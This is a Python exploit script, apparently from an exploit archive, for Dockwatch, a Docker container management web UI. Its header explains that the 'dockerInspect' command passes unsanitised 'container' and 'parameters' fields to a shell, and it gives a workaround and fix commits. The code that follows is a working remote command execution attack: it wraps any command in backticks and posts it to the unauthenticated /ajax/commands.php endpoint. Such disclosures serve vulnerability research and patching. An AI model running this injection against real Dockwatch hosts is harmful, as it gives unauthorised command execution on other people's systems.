Share
## https://sploitus.com/exploit?id=PACKETSTORM:181588
#!/usr/bin/env python3  
# -*- coding: UTF-8 -*-  
#  
# dockexec.py  
#  
# Dockwatch Remote Command Execution  
#  
# Jeremy Brown [jbrown3264/gmail] / Sept 2024  
#  
# Intro  
#  
# Dockwatch is a container management web UI for docker. It runs by default  
# without authentication, although guidance is available for how to setup  
# credentials for access. It has a Commands feature that allows a user to  
# run docker commands such as inspect, network, ps. Prior to fix, it did not  
# restrict input for parameters, so both 'container' and 'parameters' for the  
# 'dockerInspect' command were vulnerable to shell command injection on the  
# container as the 'abc'user with (limited) command output.  
#  
# Example  
#  
# $ ./dockexec.py http://host:9999 "id"  
# uid=1001(abc)  
# gid=131(abc)  
# groups=131(abc),281(unraiddocker),1000(users)  
#  
# Workaround: echo "admin:[a-FANTASTIC-password]" > /config/logins  
# * DO NOT DO THIS: echo "" > /config/logins (* unless you want spacebar to work for user/pass)  
#  
# Fix: see commits 23df366 and c091e4c, kudos for maintainers for quick fixes  
#  
  
import sys  
import requests  
import re  
  
def clean_output(output):  
output = output.replace('[]', '')  
output = re.sub(r'Error: No such object:\s*', '', output)  
output = output.replace('command', '')  
output = output.replace('test\n', '')  
lines = [line.strip() for line in output.split('\n')]  
return '\n'.join(lines)  
  
def send_command(url, command):  
endpoint = f"{url}/ajax/commands.php"  
  
data = {  
'm': 'runCommand',  
'command': 'dockerInspect',  
'container': command,  
'parameters': 'test', # also affected  
'servers': '0'  
}  
  
try:  
response = requests.post(endpoint, data=data)  
response.raise_for_status()  
  
match = re.search(r'<pre[^>]*>(.*?)</pre>', response.text, re.DOTALL)  
if match:  
output = clean_output(match.group(1))  
if output:  
print("%s" % output)  
else:  
print("No output found.")  
else:  
print("No output found in the response.")  
except requests.exceptions.RequestException as error:  
print("An error occurred: %s" % error)  
  
if __name__ == "__main__":  
if len(sys.argv) != 3:  
print("Usage: %s <url> <command>" % sys.argv[0])  
sys.exit(1)  
  
url = sys.argv[1]  
command = "`" + sys.argv[2] + "`"  
  
send_command(url, command)